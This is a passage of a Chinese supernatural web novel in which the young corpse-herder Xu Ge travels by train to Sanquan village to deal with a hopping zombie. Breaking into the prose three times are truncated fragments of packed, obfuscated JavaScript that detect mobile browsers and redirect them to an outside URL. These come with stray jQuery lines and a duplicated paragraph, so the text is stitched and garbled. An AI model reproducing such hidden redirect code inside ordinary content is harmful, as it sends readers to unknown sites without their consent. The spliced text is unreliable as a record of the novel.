;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673126|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的温度上升了不少,候车处很拥挤,徐歌抱着红布包,与人擦肩而过时能感觉到他们带起来的热风。 这是她第一次坐火车,她紧盯着铁道,有些紧张的攥着手里的火车票,好像一不留神火车就会跑走了似的。 陆南在一旁拽拽徐歌的袖子叫了叫她,然后从怀里掏出来一大摞符咒。 “我的天,你上哪儿弄来这么多符咒?”徐歌一脸震惊地看向陆南,后者的眼底有点发青,像是熬了一整夜,“你不会昨天一晚上都在画符吧?” “这些是镇尸符和燃烧符,还有一些药符,你都带上。”陆南趁着没人注意,把这一沓子符咒迅速塞进徐歌的红布包里。 昨晚上陆南把长声里关于三全村的帖子转给徐歌后,就在桌子上画了一晚上的符,把那一盅朱砂都用完了。 “这得费你不少灵力吧,回去好好睡一觉。”徐歌话音刚落,就远远地听到了火车鸣笛的声音。 绿皮火车卡拉卡拉地开过来,铁轨连同地面都在震动。 乘务员的声音响了起来:“各位乘客请排好队,有序上车。” 虽说让排好队有序前进,但这对乱糟糟的人群绝非易事,车门一开,人群就呜呜泱泱地朝着车里挤,徐歌在人流被裹挟着磕磕绊绊地向火车走去。 “孩儿呀,记得常回家看看……” “知道了,妈。” 老太太最后理了理男人的领子,男人对着母亲笑了笑,就匆匆地上了火车。 还有驮着麻布袋的老头,喷着浓重的香水的女人,左手一只鸡右手一只鸭的大娘——各色各样的人都登上了这辆破旧的火车。 “记得手机保持联系,”陆南最后叮嘱道,“好好儿的回来!” “知道了,放心吧!”徐歌远远地招了招手。 徐歌找到自己座位的时候,火车已经开始起步了,她透过窗户往外看,只看到陆南的身影一边冲着这边挥手一边越来越快地向后退去。 站台的轮廓开始模糊,他的身影迅速后退、缩小,最终融入了那片晃动的光晕里,再也分辨不清。车轮与铁轨的撞击声越来越密集,哐当、哐当,一声声碾过徐歌的心头。 陆南又是一个人了。 这个念头在徐歌心里一闪而过,让她感觉空落落的。 “哎呦,谁早上吃了大蒜?熏死人了!” 车厢里不通风,很快被人身上散出的热气充斥,蒜味脚臭味香水味……各种味道混合在一起形成了一股难以言喻的臭味。 “大叔,你的鸡飞了!” “谁的鸡?这明明是我的鸡!”徐歌上车前见过这个女人,她将那只鸭随手塞到旁边一个男学生的手里,气势汹汹地冲着那只鸡伸出了手。 “咯咯——!” 公鸡受了惊吓直接飞到了众人头上,车厢内一时哗然。 “哎呦!快点抓住它!鸡翅膀扇到到我的脸了!” “哪来的死鸡?!” “我来!!!” 一声苍老但有劲的声音从车厢内爆开,众人惊讶地回头,只见那个身扛麻布袋的老头直接照着公鸡的方向抡出了麻布袋。 “咯!!!” 公鸡扑腾着躲开了那个劲头十足的麻布袋,然后那个袋子嘭的一声砸到了徐歌的脑袋上。 20.山村跳僵 2 见徐歌被那袋子结结实实地砸到了地上没了动静,车上的人呼啦啦地围了过来,连那只公鸡也一抻一抻地过来看起了热闹。 一时寂静。 直到有人发出了一道歇斯底里的尖叫: “出人命啦!!” 突然,徐歌的手腾地从袋子底下伸了出来,一把攥住了来看热闹的鸡脖子。 “哇!!诈尸啦!!” 徐歌被吵的耳膜都要穿了:“别叫了!!我没死!这不是给你们抓鸡吗!” 那个扔麻袋的老人驼着背挪了过来:“哎呀孩子,真是对不住……你脖子断没断?” 徐歌攥着鸡脖子站起身,把麻布袋提起来还给了老人:“我没事儿,就是看不出来您真是老当益壮,这么沉的东西都能抡起来。” 老人呵呵地接过麻布袋:“里面装的都是我家的谷子啊,家里人就吃这个,扛不起来也得扛呐。” “看不出来你是个女中豪杰呀!”鸡大娘扯着嗓子来到徐歌跟前,用绳子把那只公鸡重新捆得结结实实,然后把公鸡怼到了徐歌面前,“这公鸡你拿着吧!当大娘我请你的!” 徐歌一听赶紧摆手拒绝道:“这不行,这只鸡可不便宜呢。” “嗳呀,看不起你大娘是不是?我就喜欢你这种能干的妮儿,你帮我抓了鸡,我送你一只鸡,谁也不欠谁的不是?” “也不能这么算吧?” 鸡大娘眼睛一瞪:“你甭废话,说送你就送你了!再说我还有鸭呢!”大娘这才回到那个男学生跟前,从他的怀里把自己的鸭提了回去。 “那谢谢大娘了……”徐歌妥协道。她提着公鸡坐回座位,后者用一副趾高气扬的眼神回看着她,然后就被徐歌摁着脑袋塞进了座位的夹缝里。 “看你还跑不跑了。”徐歌低声对着公鸡挑衅似的说了一句,然后打开手机,准备看一下长声。 “那个,你……我可以坐你旁边的座位吗?”一道男声局促地在徐歌耳边响起。 徐歌侧头一看,正是那个刚才帮着抱鸭的男学生,他穿着一身蓝色校服,背着一个绿色的斜挎包,身材瘦弱,脸上长满了麻子。 “但是这个座位我不知道是谁的啊。” 男学生局促地向徐歌出示了车票,上面的座位就在徐歌旁边:“应该是,是我的。” 徐歌感觉有点好笑:“那你用不着问我啊,这本来就是你的座位啊?为什么一开始不来坐?” 男学生小心翼翼地坐到座位上,偷偷瞄了那个大娘一眼:“一开始,没挤过来……然后就让我抱着那只鸭……” “哦,原来是这样。” “那个,我叫,孔有力。”或许是觉得气氛有些尴尬,男学生腼腆地挑起话题,说出了一个与自己外表很不符的名字。 “你好,我叫徐歌,你坐这趟车是要去哪里?” “我回三全村……”孔有力回答道。 “好巧,我也要去那儿,”徐歌的眼睛亮了一下,“不过最近三全村好像有跳僵出没,你真的要去?” 孔有力攥了攥斜挎包,道:“我放心不下我爸,我得回家。而且村长说很快就会有人去处理了……” “那你注意安全,看到跳僵,如果离它比较远,就跑,最好随身带着红布,”徐歌一边回忆自己从书上看来的方法一边说着,“我们会尽快处理掉它的。” 孔有力看起来有些惊讶:“啊?你就是那个术士?你才和我,差不多大……” 徐歌笑着宽慰道:“没关系的,我的另一个同事应该也在三全村,他应该比我有经验多了,我们两个人肯定可以把它搞定。” “有些村民可能……但是大家都是好人,如果有什么我能帮上忙的地方,你们就尽管说!” “那就太好了,后面就多麻烦你了。” 徐歌昨天查阅过资料,三全村,意为“福禄寿”三全,目前信仰着地方仙“烛花娘娘”。但由于这个乡村过于僻远,更进一步的信息是少之又少。 而能在火车上遇到村里人,已经是相当不错的展开了。 …… 车厢里吵吵闹闹仿佛没有安静的时候,徐歌坐在位子上靠着窗户睡了过去。不知道过了多久,徐歌睁开眼,太阳重新爬上了车顶,车窗外已经可以看见群山了。徐歌直起腰,感觉睡的是腰酸背痛,一夜过后,连公鸡那只雄赳赳的鸡冠也蔫了下去。 “你知道现在到哪里了吗?”徐歌问一旁的孔有力。 孔有力倒是十分精神,他从挎包里拿出一张地图摊到徐歌面前,地图上画着四大市区:恒盛市,永政市,长乐市和纶里市。 孔有力用手指在上面划了一道路线:“我们已经出了恒盛市了,很快就开进纶里市了,三全村就在纶里市外围的这一块儿,不出半小时我们就可以下车了。” “你是在恒盛市上学?”徐歌和孔有力闲聊起来。 孔有力将地图收进包里回答道:“对,我是恒盛大学的学生,我们昨天刚放了暑假,没成想村里会出现那种东西……你是在哪里上学呀?” “我就是在长乐上了几年高中,后来家里揭不开锅,我就辍学下来帮着干活了。”徐歌回答道。 “这样啊……不好意思。” 徐歌摆了摆手,笑道:“太平村里人口少,又穷,全村上下就没几个大学生。不过好在我对学习也没什么兴趣,我更喜欢挣钱的感觉,即使爸妈不乐意我辍学,我最后也是辍了。 徐歌从别人口中听过恒盛大学的名号:“能在恒盛大学上学,你的成绩一定不错吧?毕业后肯定能找个好工作的。” “勉勉强强而已,”孔有力抿了抿嘴,道,“其实我爸不觉得上学能有什么出息,更想我回去继承他的手艺……说不定再过两年我就回去了。” “那你更喜欢干什么呢?” “我肯定是想留在恒盛,我上了这么多年学……要是就这么回去不就白上了?但我又不敢……” “说到底这是你的人生吧?又不是你爸的。” 孔有力抬头看了看徐歌,用手攥了攥挎包的带子,仿佛下 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难道这就是那个赶尸人同事?徐歌有点不可置信,对方的年龄看起来得六十往上了,头上还长着麻麻赖赖的癞疮,虽然组织里的其他人也都不太正常,但起码看起来都是能跑能跳的,这个老人,真的是赶尸人吗? 不对,不能以貌取人,他一定是有什么绝活。 徐歌毕恭毕敬地做了自我介绍:“您好,我叫徐歌,是新来的赶尸人。” “我叫刘福生,”说着,他看见了徐歌手上拎的公鸡,眼神亮了一下,继而咧开嘴露出了仅有的几颗黄牙,“你这个新来的还不赖,知道带只公鸡来。” 没等徐歌回答,刘福生把公鸡从她的手里拿了过来:“公鸡血可是辟邪的好东西……” 公鸡仿佛察觉到了杀意,在刘福生的手里疯狂地扑腾着翅膀。 刘福生仿佛刚注意到一旁瘦弱的孔有力,低低地问道:“你又是谁?” 被刘福生的眼睛毫不留情地盯着,孔有力不禁打了一个激灵:“我,我叫孔有力,是三全村里的人……” 刘福生阴恻恻地笑起来:“你们这村儿,人要死绝了!” “什么?!为什么?”孔有力和徐歌异口同声地问道。 刘福生恶狠狠地晃了晃手中的公鸡:“黑狗就算了,整个村上下连一只公鸡都不愿意拿出来给我!既然拿不出来,还请我干嘛! 而且连个住处也不给,让我这个老骨头睡后山!” 一听是这事儿,孔有力暗暗松了口气,起码不是跳僵大开杀戒这么严重的事情,于是他赶紧承诺道:“你们来我家住!我爸肯定不会赶你们出去的!我让我爸给你们煮肉!” “对呀,福生爷爷您看,”徐歌也在一旁打圆场,“公鸡您这也拿到了,住处也有了,生气多伤身呐,咱们干完这活儿,高高兴兴领了钱回去就是了。” 刘福生用复杂的眼神看了徐歌一眼,咂了咂嘴,然后对着孔有力说道:“那就赶紧带路,耽误了我的事儿,等到了晚上跳僵出来了就别想好了!” “好好好!你们跟我来!”孔有力赶忙带着二人往自己家的方向走去。 21.山村跳僵 3 三人绕出山坳,来到一处偏僻的房舍前,这个房子的大门是两块破旧的木板,拍上去整个门板都卡拉卡拉地响。孔有力冲着里面喊了一声:“爸!我回来了!!” 接着一个长相彪悍的中年男人从院子里走出来,他的皮肤黝黑,脸上有一道刀疤,用戒备的眼神看着徐歌和刘福生。 看来人的体格就知道不好惹,刘福生默默咽了口唾沫,倒提着公鸡往后退了一步。 “爸,这是我的朋友,他们就是这次来我们村里捉跳僵的大师!”孔有力在一旁介绍道。 男人听到这句话,仔细打量了二人的行头,脸上的表情才渐渐缓和下来。 男人一边将众人带进屋子里,一边做了自我介绍:“俺是孔武,三全村的一个猎户——你们坐,有力,去给他们洗点苹果!”虽然男人外表彪悍,但话里话外却透露着热情。 孔有力放下挎包,按照孔武的吩咐去院子里洗苹果去了。 孔武两手交叉坐在桌旁,道:“你们是来对付前两天的跳僵的吧?有什么我能帮的上忙的地方,你们就尽管提!” 刘福生把公鸡拴到门口,咧嘴笑道:“还是你识大体啊,其他村民也不知道是怎么了,对我一副戒备的样子,嘿!好像我才是那个跳僵。” 听到这里,孔武歉然道:“三全村的其他人,都比较信奉‘烛花娘娘’,对外面的人都不怎么信任,而且……” 话没说完,刘福生突然把手里的锣哐镗地一声贯到了地上! “怎么了?”徐歌刷地站了起来,铜锣发出的声音震得人胸腔发麻。 刘福生转身对着正在发愣的孔武竖起了食指:“在祂的地盘上管住嘴!被仙家知道你在背后乱说,有你好受的!” “没事儿,我这里偏僻,祂不知道这里,我试过的,”孔武摆摆手叹了口气,接着说道,“三全村的人,都供奉着那个烛花娘娘,遇上什么东西,第一时间也是等着烛花娘娘来救。不过村长可算是没完全老糊涂,还知道请你们过来。” 保险起见,徐歌在孔武家门口贴了一张辟邪符,陆南说过这种符咒可以把邪祟挡在外面一次。 贴完后,徐歌问道:“烛花娘娘?有什么说法吗?” 孔有力搓着手回答道:“村里人都说供奉烛花娘娘,可保财运兴隆。但是我看那些去上供回来的人,都跟着了魔一样,每天晚上都要守着一根蜡烛,拿着比自己的命都金贵。我见了心里发毛,私下里就觉得那玩意儿不是什么正路子,干脆就带着有力跑到山这边来生活,躲开那个烛花娘娘。” 刘福生把凳子拖出来,坐上去叹声道:“烛花娘娘可不是什么正儿八经的仙家,那玩意儿邪门的很,不是咱们能招惹的。” 见刘福生不想趟这趟浑水,孔武只好默默闭上了嘴。 此时孔有力洗好了苹果,把它们摆到了桌子上。 刘福生挑了一个最大的苹果咬了一口,道:“你们这里,有没有阴湿的山洞之类的地方?” “有,有很多。”孔武回答。 “那正好,你跟着去,天黑之前给我拔几斤地阴草回来。”刘福生指了指徐歌道。 徐歌问道:“地阴草是什么?你不一起去吗?” 刘福生用松动的牙一口一口地刨着苹果,回答道:“不要多问!地阴草是用来编捆尸索的,叶子有你一条手臂那么长,你见了就认得了。” “原来那种草叫地阴草,我知道有个地方有,”孔武一拍桌子站起来,“等我拿把枪就带你去!” “枪?”徐歌警惕了一下。 孔武赶忙解释道:“是自己组装的猎枪,我们家是祖传的猎户。” 孔武从房间里出来,手里端着一把锃亮的猎枪,看起来他组装枪的手艺十分不错。 他将猎枪背到身上,对着孔有力说道:“你也跟着一起去,锻炼锻炼!” 孔有力打了个激灵:“好,好!那我跟着……” …… 徐歌背着红布包,跟在孔武后面深一脚浅一脚地走在山路上,三全村的主干道和孔武的家正好隔着一座山,而这座山正是前几天跳僵出现的地方。 孔武走在前面端着猎枪开路,孔有力畏畏缩缩地跟在最后面。 孔武搓着枪道:“我很久没上山进村了,和村里人没什么来往,他们的具体情况我也不清楚。前两天村长托我找过他孙子,我才知道有人找不到了……” 突然,有一道黑影一下子从他们面前窜过,本就精神紧绷的孔有力差点吓得蹦起来。那道黑影体积很小,应该不可能是跳僵,即便如此,徐歌还是抽出随身的钢刀挡在了孔有力面前。 “呦!野兔!”孔武猛地蹲下,用猎枪瞄准了草丛里的东西,二话不说地扣动了扳机。 震耳欲聋的枪响过后,孔武果真从草丛里拎出来一只野兔——兔子的脑袋被轰掉了一半,仅剩的那只耳朵被孔武抓在手里。 孔武将猎枪塞给孔有力:“这应该是一窝兔子,遇上第二只你就来杀。” “算了吧爸……咱们晚上又吃不了这么多兔子……”孔有力嗫嚅着表达拒绝。 孔武蜷起手指照着孔有力的脑袋卯了一下:“谁说一定要吃?之前不都是打着玩儿?上学上的这都不敢了?!” 不知道是过于紧张还是蚊虫叮咬,亦或是其他的原因,孔有力的脸涨得通红:“不是不敢,我只是不想残害生命。” “想那么多干什么?”孔武从来不去想这种方面,对孔有力的这种想法也是毫不在意,他转而问向徐歌,“大师有没有兴趣?” 徐歌隐约察觉到,或许父子俩最大的不同就是在这里:“我没有什么兴趣,还是抓紧去找地阴草吧。” “说的也是哈!”孔武见状拎着野兔继续带着二人前进。 “你还好吧?”徐歌在后面偷偷问孔有力。 孔有力握着猎枪,眼神有些木讷:“我没事……” “就是这儿了!”孔武的声音从前方传过来。 徐歌赶紧跟过去,发现这是一处隐秘的地洞,洞口杂草疯长,如果不是对这座山十分熟悉,是不可能发现这处洞口的。 徐歌用钢刀拨开茂密的杂草往里面探了一下脑袋,一股湿气就扑面而来,洞里面也是乌漆嘛黑,非常符合刘福生说的阴湿的地方,甚至可以说,如果地阴草不长在这里,那别的地方更不会长地阴草了。 孔武率先蹲下蹭了进去,徐歌紧随其后,见孔有力在洞口有些犹豫,徐歌随即说道:“你就别进来了,在洞口替我们把风吧。” “好!”孔有力抱紧了手里的猎枪。 洞里有滴水的声音,徐歌和孔武顺着这个声音摸索着前进,走过转角,眼前豁然开朗,走近发现声音的源头是一处山泉。 而在这山泉附近,地阴草那又长又细的叶子密密麻麻织满了整个地面。怪不得刘福生说见到地阴草就认得出来,其他草的叶子少有这么长的。 “你瞅瞅,这应该就是福生大师说的地阴草吧?我一听他说叶子有手臂那么长,我就猜是这个了。” “应该没错,我多割一些给他带回去。” 徐歌说着抓住一把地阴草,抽出钢刀,试图把它们铡断,出乎意料的是,这些草叶的韧性极高,用钢刀都切不断。 更不必说徒手撕扯的孔武了,那草叶被他扯的老长,像皮筋一样怎么也断不了。 孔武惊叹道:“之前怎么没发现还有这么韧的东西!” 徐歌收起钢刀,调整了姿势,把它们连根拔了起来:“还好还能拔得动,不然真带不走了。” 孔武麻利地从地上拔了许多,满满的抱在怀里。 爬出洞口叫上孔有力,一行人打道回府。 …… 回到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694981|187291||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋前,推开院门,四下无人。一个塑料盆突兀地摆在院子中间,里面似乎还装着什么液体,被夕阳的光一照,泛着诡异的暗红。 “血!里面……是血!”凑上去查看的孔有力被吓了个趔趄。 徐歌走上前仔细看去,发现地上有血滴的痕迹,从盆子附近一直顺延到锅台上。 此时此刻,锅台下面正烧着火,锅子里还炖着什么东西,而四处不见刘福生的身影。 不详的预感在徐歌的心里升腾起来,她吸了口气,有些颤抖地掀开锅盖。 一只黑色的鸡爪漂浮在锅里。 孔武拿过锅勺来捞了捞——从里面捞出来了鸡头鸡腿。 “捞啥呢?我刚炖上的鸡还没熟!地阴草弄回来了?”刘福生从门口蹭进来,“你们这什么眼神儿?” “院子里的,是公鸡血?”徐歌这才想起刘福生说过鸡血有辟邪的功能。 “不然还能是啥?”刘福生挑了几根地阴草拿在手里搓了搓,道,“这地阴草挺不错,劲道。” 徐歌跑到门口看了看自己先前贴在这里的符纸,还是完好的,证明并没有其他东西进来过。 刚刚的景象徐歌差点就以为那个烛花娘娘找上门来把刘福生给炖了——真是画本子看多了就是容易往恐怖的方向乱猜。 一旁的孔有力也是重重地松了口气,他从小到大就害怕尸体,可能父亲说的对,他就是个怂包。刚刚见了盆子里的血就吓得扶着墙才能站稳,而现在确定了那不是鸡血后才稍微松了口气——尽管还是有些害怕。 孔武把射杀的兔子拎到锅子旁边,往灶里添了两根柴火,本来他寻思整上只兔子招待他们,没成想居然炖上了客人带来的鸡,这让他这个主户有些不好意思。 “有力!”孔武在灶前吆喝孔有力,“去把兔子处理了,皮剥下来我给你冬天做个帽子!” 一天里被吓到了很多次的孔有力本来心情就很乱,他觉得孔武这是故意在外人面前使唤他让他不得不去做自己不想干的事情,不听话就落得一个难堪的下场,心里窝着火顶了句嘴:“我说了不想去!” 孔武又觉得孔有力这是故意在客人面前让自己下不来台,但碍于徐歌和刘福生在场,又不好直接发脾气,只能一声不吭地将兔子又拎了出去准备自己动手剥皮。 人心隔肚皮,孔有力知道自己应该和孔武谈谈,他爸是个狠人,对自己狠,对他也狠。每当迎头对上孔武的眼神,他顿时觉得自己那一肚子学问全成了草包,一句话也无法说通。他只得默默将没说完的话咽下去,渐渐地也越来越不愿意回家。 徐歌也不好插手别人的家事,蹲在地上拿起采回来的地阴草,跟着刘福生一起搓起来。 说到这个捆尸索,她在话本子里看到过主角捉跳僵用过。捆尸索顾名思义就是把跳僵捆起来的绳索,一人攥着绳索的一头,就能把跳僵牢牢地制住,是个很实用的法器。 徐歌学着刘福生的样子拿着地阴草来回搓,只是草叶子在手里怎么也搓不成缕,就算在是比自己熟练很多的刘福生手里,也只是搓出不到半米的一小节。 徐歌问道:“这个要搓多久才能做成?再过俩小时估计天就要黑了。” 刘福生在墙角盘腿坐着,那身本不怎么干净的袍子沾上了尘土,他不急不慢地回答:“搓得搓一晚上,而且搓好了得晒上一白天吸收阳气,才能用来捉跳僵。” 孔武先徐歌一步急匆匆地问道:“那今晚上要是跳僵再出来咬人,村里的其他人怎么办?!” “你们去告诉村里其他人,家里有糯米的在门口撒上糯米,红布一整晚都别离手,门锁紧了别出门。” 孔武闻言把剥皮剥到一半的兔子扔到砧板上,舀水冲了冲自己手上的血,推门跑了出去:“我现在就去说!” “我也去!”孔有力一跺脚,紧随其后也跑了出去。 22.山村跳僵 4 “你就别跟着去了,”刘福生对着徐歌吩咐道,“帮我看着锅子,鸡煮熟了就盛出来给我吃。” “那我们今晚上就什么也不做吗?”徐歌问道,毕竟耽搁的越久,出现伤亡的可能性就越大。 刘福生咧开嘴,脸上的老年斑在暮色中显得有些森然:“法子都告诉他们了,照做就躲得过跳僵。剩下的,看各人造化。”毕竟委托只是“排除跳僵威胁”,村民死活不在他职责之内。 “干这行当的,多半短命。知道我凭什么活到现在?”刘福生看出徐歌的犹豫,慢悠悠地编着捆尸索,“生死有命,富贵在天。我清楚自己斤两,从不揽闲事。” “干我们这一行的,大部分都死的早,你知道为什么我能活到这个年纪吗?”刘福生看出了徐歌的犹豫,他不紧不慢地编着捆尸索,“生死有命富贵在天,我清楚我的本事,从来不去多管闲事。” 徐歌粗略掐算了一下时间,就算是村民听话用刘福生说的方法乖乖待在家里,但向他们报信的孔武父子根本无法在天黑之前赶回来,他们在这个时间段里走山路,极有可能遇上跳僵。 她明白刘福生的意思,也尊重他的活命之道,但如果放任不管,村里还会有人继续失踪,孔家父子也会有危险。还是选择去接应孔家父子——打不过了再说,自己会逃跑的。 想到这里,徐歌没再理会刘福生,她拔出钢刀,用公鸡血浇了一遍刀刃,心里想着鸡兄我不会让你白死的,带了几张符咒就出了院门。 仅仅是过了一段短暂的谈话时间,出门就已经看不见孔家父子的身影了——他们常年在山上走路,脚力必然很强。徐歌选了其中一条蜿蜒的山路,沿着这条路快速行进,就算没办法在路上遇到他们,但殊途同归,徐歌肯定能在三全村里找到带消息的孔武父子。 山路草木疯长,野草几乎吞没了小径,徐歌的小腿被草叶揦出好几道又红又痒的伤口,时不时的还有小飞虫撞到脸上。此时徐歌看见路旁长着一棵茂盛的榆树,心下一喜,想着今晚上的晚饭有了着落,随之撸了一把榆树叶子,边赶路边往嘴里塞。 咩——! 咩——! 徐歌停下脚步,看见树底下钻出来一只羊崽,正朝着自己恐吓般地叫着。 诶?哪来的绵羊? 徐歌停下脚步,看着那只小羊羔灵活地跑到自己跟前,用嘴巴叼起自己的衣角就开始咀嚼起来。 “我的衣服不可以吃——!”徐歌把衣角往回扯,但又怕拽坏了小羊还没长结实的牙,一人一羊就这样僵持着。 “对不起!这是我的羊!” 一个七八岁的男孩从树丛里钻出来,手里还握着一条爆了皮的皮鞭。男孩走上前抱起小羊,把徐歌的衣服从它的嘴里扣了出来。 小羊还在不服气地咩咩的叫着,眼睛盯着徐歌手里的榆树叶。 难道是怪我吃了它的树叶?徐歌这样想着,将叶子递到小羊面前,后者用舌头卷起树叶,下巴一左一右地嚼起来,看起来心满意足。 徐歌看向那个男孩,男孩有一头细软的卷发,清秀姣好的面容让徐歌莫名觉得有些熟悉:“天快黑了,你怎么没回家?晚上可能会有跳僵。” “本来我是来放羊的,它跑丢了我怎么也没找到,”男孩用手抚摸着怀里的小羊,“我马上就带它回家。” 徐歌问道:“你知道去你们村里的近路吗?” 男孩看徐歌的装扮,明白她就是来捉跳僵的人,于是认真地点点头:“知道!姐姐跟我来吧。” 男孩大踏步在前面带路,徐歌紧跟在后面,山中满是各种草木,很少有标志性建筑,对这里不熟悉的外来人士很难辨认方向,但多亏徐歌的方向感很好,走过的路几乎都可以熟记于心,一来二去,徐歌已经大概摸清了在这座山上最近的行走路线。 “我听人说,三全村已经有人失踪了,小弟弟知道多少?” “我知道的!帆船和我差不多大,但我不喜欢他……因为他之前打瘸过我的小羊,”男孩珍重地把他的羊伙伴抱在怀里,“不过我不希望他死……” “帆船?” 男孩这才想起这个外来的大姐姐还不知道小伙伴们内部的称呼,于是解释道:“就是李梦帆,因为他的名字里有帆,所以大家都叫他帆船。” 小孩子的思维发散,很容易聊着聊着就无厘头了,徐歌进一步问道:“那我知道了,所以他是在哪里失踪的呀?家里人还没有找到吗?” 男孩有些低落:“是村长家的呀,村长爷爷现在也很伤心呢……” 村长家……也难怪这样一个排外的村子,村长会选择请外人帮忙,他很可能实在是走投无路了。如果只是单纯失踪还好,多叫上点人地毯式搜刮也不怕找不到,麻烦的点就在于如果李梦帆如果被跳僵杀死,尸体不及时处理就会尸变成新的跳僵到处乱窜去感染其他人,相当麻烦。 …… 二人走了近半小时,徐歌终于透过树缝看见了房屋的影子。 走进踏上石块铺成的主干道,徐歌才算是正式来到了三全村。 三全村和普通的村庄看起来没有什么区别,唯一不同的地方就是几乎每家每户的屋檐下面都悬挂着一节红色蜡烛。 可能是烛花娘娘的信仰标志……徐歌这样想道,就是不知道那些蜡烛有什么作用。 男孩带着徐歌来到一栋偏僻的小屋门前,踮起脚来用力敲了敲院门,然后转过头来对着徐歌问道:“姐姐,谢谢你帮我找到了羊,你要来我家坐坐吗?” 其实严格来说自己并没有帮男孩找羊,而且徐歌准备抓紧时间先去和孔家父子汇合,于是笑着回绝了男孩的好意:“不用了小弟弟,我还有事情要做。” 说完徐歌刚转身准备离开,就听见身后的院门被打开了,接着传来了一道熟悉的声音: “觅远,怎么现在才回来?都说了不要去找你的羊了。” 徐歌猛地回头,和门里的人四目相对。 “孟寻真!” 徐歌将手搭在钢刀上,死死地盯着眼前的少女。后者已经褪去了红裙,转而换上了一件洗的发白的短袖,脸色略显憔悴,细软的卷发也被挽在了脑后,整个人透露出一种别样的美感。 孟寻真看起来也很震惊,但她很快整理好的表情,转而无视掉了徐歌,故作嗔怒地将男孩拉进院子,嘭的一声关上了院门。 “姐姐——?” 男孩还没来得及询问,就被拉了进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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不知道烛花娘娘介不介意这种事,但眼下似乎也没有更好的办法了,徐歌把红布条都拿了过来,准备自己去做这件事。 徐歌纵身翻上墙头,见院子里四下无人,就轻巧地跳到屋门前,弓着腰将红布绑在门口,然后将糯米悄咪咪地撒在门前,做完一切后,就扒着墙翻了回去。 面对孔有力震惊的表情,徐歌还不忘顺嘴解释一句:“我没干过坏事,这是经常摘柿子的时候扒墙头练出来的。” 孔有力连忙否认道:“不不不,我没有怀疑你的意思……” 徐歌也没有在意孔有力到底怎么想,她掂了掂手中的糯米,说道:“还有哪几家?带我过去吧。” 又爬了四五户的墙,天已经快黑得看不清路了,孔有力想象着可能潜藏在附近的跳僵,心脏咚咚地跳动着,加快脚步带着徐歌来到了最后一家。 偏僻的屋子,简陋的门墙,正是孟寻真家。 徐歌:…… 这是跟孟寻真过不去了吗? 见徐歌迟迟没有动作,孔有力还关切地问了一声:“是,是不是累了?” 徐歌犹豫着要不要翻墙进去,至少那个小男孩没有害过自己,她主要怕她刚爬上墙就被孟寻真发现然后用枪射成筛子。 果然还是不要管了,孟寻真在恒盛里生活过,甚至会用黑符,肯定知道对付跳僵的方法吧。 正当徐歌准备离开的时候,门又开了。只不过这次出现的不是那个牧羊男孩或是孟寻真,而是孔武。 23.山村跳僵 5 “徐大师?跳僵出来了吗?”孔武开口问道。 “等等,你一直在这户人家家里?”徐歌打断了孔武的话,“你认识孟寻真?” 孔武点点头:“对啊,寻真又伶俐又体贴,算是村里最靠得住的了!” 这时孔有力也在一旁附和道:“我爸说得对,我家和寻真姐有点交情,今晚上可以借她家的院子躲一躲。” 徐歌的嘴角抽搐了几下,你们认真的?没被她用枪崩过吧。 等等,徐歌看着孔武手里的枪,联想到了孟寻真射伤陆南的那杆枪,难道说她的枪其实是孔武给她组装的?! 孔武见徐歌一副抵触的样子,有些疑惑,刚要说什么,孟寻真就从门口走了出来。 她装作不认识徐歌的样子,对着徐歌礼貌地笑道:“你就是来救我们的赶尸人吧?天黑了,快进来吧,家里有我的父母和弟弟妹妹,不用担心。” 徐歌领会到孟寻真后半句的意思,看来她的家人以及孔家父子并不知道她在恒盛的事迹,在家里人面前她不会对徐歌下手,相对的,徐歌也不能对她动手。 于是徐歌也顺水推舟地回答:“给你们添麻烦了。”随之和孔家父子进入了院子。 院子被一处用木头围起来的羊圈占据了很大的空间,徐歌发现羊圈旁边正点着一节红色的蜡烛,本着在这虚伪的和谐氛围里能套一点情报是一点的原则,徐歌转头问孟寻真:“这节红蜡烛,有什么特殊的作用吗?” “离蜡烛远点!” 还没等孟寻真作出回答,一个中年女人从屋子里冲出来,用手遮住了蜡烛。 孟寻真赶紧打圆场:“没事的,妈,这位是来捉跳僵的赶尸人,不会冒犯祂的。” 那人戒备地看了徐歌一眼,然后神经质地念叨着:“好好守着,不能灭,不能灭……” “知道了妈,你快进屋看好觅远他们,我不会让它灭掉的。”孟寻真安抚似的摸了摸女人的背,后者还在不停地念叨着“不能灭”,“财运”之类的东西。 从这些词中,徐歌也大致猜出来了这节蜡烛的作用,应该是要让它一直燃烧,才能保住家里的财运?只是从孟寻真的母亲的表现来看,未免有些令人不适,也难怪孔武这么抵触住在三全村里。 徐歌将红布和糯米交给孔家父子,自己推开院门走出去寻找跳僵,起码要尽量保证今晚上三全村里的人不会有伤亡。 和太平村一样,三全村的夜晚也没有路灯,但自从吴关帮徐歌开了天眼后,徐歌的视力也提高了很多,趁着月光看清方圆十几米外的东西是绰绰有余。 